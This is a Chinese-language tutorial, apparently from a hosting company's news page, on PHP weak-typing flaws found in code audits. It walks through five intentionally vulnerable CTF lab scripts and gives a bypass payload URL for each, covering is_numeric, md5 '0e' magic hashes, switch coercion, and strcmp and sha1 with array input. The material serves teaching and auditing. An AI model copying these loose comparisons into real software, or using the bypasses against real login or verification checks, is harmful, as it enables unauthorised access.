您好,登錄后才能下訂單哦!
PHP代碼審計(jì)中常見漏洞函數(shù)有哪些,相信很多沒有經(jīng)驗(yàn)的人對(duì)此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個(gè)問題。
PHP是一種創(chuàng)建動(dòng)態(tài)交互性站點(diǎn)的強(qiáng)有力的服務(wù)器端腳本語言,免費(fèi)并且使用非常廣泛。PHP環(huán)境目前的搭建也相當(dāng)簡單,可使用PhpStudy等工具一步到位。
除了除理論上去解釋PHP常見函數(shù)的漏洞利用,更結(jié)合CTF題目,實(shí)戰(zhàn)解釋。
眾所周知,PHP一門弱類型的腳本語言,這里介紹的漏洞,均是是從類型轉(zhuǎn)換缺陷、類型轉(zhuǎn)換不嚴(yán)入手。
PHP提供了is_numeric函數(shù),用來判斷變量是否為數(shù)字。PHP弱類型語言的一個(gè)特性,當(dāng)一個(gè)整型和一個(gè)其他類型行比較的時(shí)候,會(huì)先把其他類型intval數(shù)字化再比。
intval() 函數(shù)用于獲取變量的整數(shù)值。
<?php error_reporting(0); // 關(guān)閉錯(cuò)誤報(bào)告 $flag = 'flag{is_numeric_pass}'; // 新建一個(gè)變量,值為:flag{is_numeric_pass} $a = $_GET['a']; // 新建一個(gè)變量a,以Get的形式賦值 is_numeric($a)?die("Sorry...."):NULL; //通過 is_numeric函數(shù),判斷id是否為數(shù)字,如果為數(shù)字,則結(jié)束,輸出sorry if($a>2019){ // 若a大于2019輸出flag echo $flag; } ?> //解題思路,要求輸入一個(gè)大于2019的數(shù)字才能獲取flag,但是如果變量為數(shù)字就結(jié)束程序,陷入矛盾, //利用PHP弱類型比較的特點(diǎn),一個(gè)其他類型與整型比較時(shí),會(huì)將其他類型自動(dòng)取整型再比較,利用此特性繞過,即賦值a為10000abc,繞過
構(gòu)造Payload:http://192.168.200.148/php_lab/lab1.php?a=10000a
<?php $md51 = md5('240610708'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != '240610708' && $md51 == $md52) { echo "flag{md5_pass}"; } else { echo "false"; } } ?>
該函數(shù)要求我們輸入一個(gè)a,這個(gè)a不能是240610708,但是要求其MD5值是一致,同樣陷入矛盾困局。
此時(shí)還是利用PHP弱類型缺陷
首先240610708的MD5值為:0e462097431906509019562988736854
這里是0e開頭的,在進(jìn)行等于比較的時(shí)候,PHP把它當(dāng)作科學(xué)計(jì)數(shù)法,0的無論多少次方都是零。 所以這里利用弱類型的比較的缺陷來進(jìn)行解題:如果md5的值是以0e開頭的,那么就與其他的0e開頭的Md5值是相等的。我們找到:s1885207154a,其MD5為:0e509367213418206700842008763514
構(gòu)造Payload:http://192.168.200.148/php_lab/lab2.php?a=s1885207154a
本章節(jié)會(huì)涉及一點(diǎn)正則相關(guān)的知識(shí),如果零基礎(chǔ)的同學(xué),可以通過下方鏈接學(xué)習(xí)。
https://www.runoob.com/regexp/regexp-syntax.html正則表達(dá)式學(xué)習(xí)
<?php if(isset($_GET['a'])){ $pattern = '/^(?=.*[0-9].*)(?=.*[a-zA-Z].*).{4,}$/'; //^為開頭,.*為匹配,要求字符串開頭有數(shù)字,有字母,匹配不少于4次 $a = $_GET['a']; //給a賦值 if(preg_match($pattern,$a)===0){ //如果不匹配正則表達(dá)式,輸出格式錯(cuò)誤 echo "format error"; }else{ switch($a){ //當(dāng)a值等于4的時(shí)候,可以得到flag //解決思路,還是弱類型轉(zhuǎn)換繞過,?a=4abc case 1: echo "error.."; break; case 2: echo "error.."; break; case 3: echo "error.."; break; case 4: echo "flag{switch_pass}"; break; } } } ?>
我們將a賦值為 4abc,符合匹配要求,最后在判斷的時(shí)候,因?yàn)?abc不是整型,會(huì)自動(dòng)進(jìn)行轉(zhuǎn)換取整,故數(shù)值為4,得到flag。
構(gòu)造Payload:http://192.168.200.148/php_lab/lab3.php?a=4abc
<?php error_reporting(0); //關(guān)閉錯(cuò)誤提示 if (isset($_GET['a'])) { //判斷是否以get形式為a賦值 if (strcmp($_GET['a'], $flag) == 0) //比較a變量和flag的字符,再將結(jié)果與0【false】比較 echo 'flag{strcmp_pass}'; else print 'you are failure'; } ?>
int strcmp ( string $str1 , string $str2 ),函數(shù)介紹:如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果兩者相等,返回 0。
但strcmp只會(huì)處理字符串參數(shù),如果給個(gè)數(shù)組的話呢,就會(huì)返回NULL。而NULL==0是 bool(true),滿足if判斷的邏輯,就得到flag了
構(gòu)造payload:http://192.168.200.148/php_lab/lab4.php?a[]=7
<?php error_reporting(0); //關(guān)閉錯(cuò)誤報(bào)告 if (isset($_GET['a']) and isset($_GET['b'])) //判斷a變量和b是否為空 { if ($_GET['a'] == $_GET['b']) //判斷a和b是否相等 echo '<p>a and b can not be same!</p>'; else if (sha1($_GET['a']) === sha1($_GET['b'])) //判斷a和b的sha1值是否相等,如果相等則輸出flag echo 'flag{sha1_pass}'; else echo '<p>You are failure.</p>'; } else echo '<p>You are failure!</p>'; //題目要求a和b的sha1值相等,但是變量值不能相等,此處為突破點(diǎn) ?>
sha1()函數(shù)默認(rèn)的傳入?yún)?shù)類型是字符串型,那要是給它傳入數(shù)組則會(huì)出現(xiàn)錯(cuò)誤,使sha1()函數(shù)返回false,兩個(gè)false也就符合條件輸出flag了。
構(gòu)造Payload:http://192.168.200.148/php_lab/lab5.php?a[]=6&b[]=7
看完上述內(nèi)容,你們掌握PHP代碼審計(jì)中常見漏洞函數(shù)有哪些的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。